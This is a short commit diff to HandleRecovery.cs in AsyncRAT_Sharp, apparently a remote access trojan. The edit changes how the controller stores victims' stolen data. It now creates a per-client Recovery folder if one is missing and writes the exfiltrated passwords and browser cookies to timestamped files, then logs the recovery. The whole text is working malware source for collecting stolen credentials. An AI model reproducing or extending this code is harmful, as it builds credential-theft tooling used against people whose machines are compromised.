Update HandleRecovery.cs

This commit is contained in:
NYAN CAT 2019-06-10 13:35:52 +03:00
parent 74b2467b75
commit 9d2d231fb2

View File

@ -19,9 +19,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
if (!Directory.Exists(fullPath)) if (!Directory.Exists(fullPath))
return; Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + "\\Password.txt", unpack_msgpack.ForcePathObject("Password").AsString.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", unpack_msgpack.ForcePathObject("Password").AsString.Replace("\n", Environment.NewLine));
File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", unpack_msgpack.ForcePathObject("Cookies").AsString.Replace("\n", Environment.NewLine));
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
} }
catch { } catch { }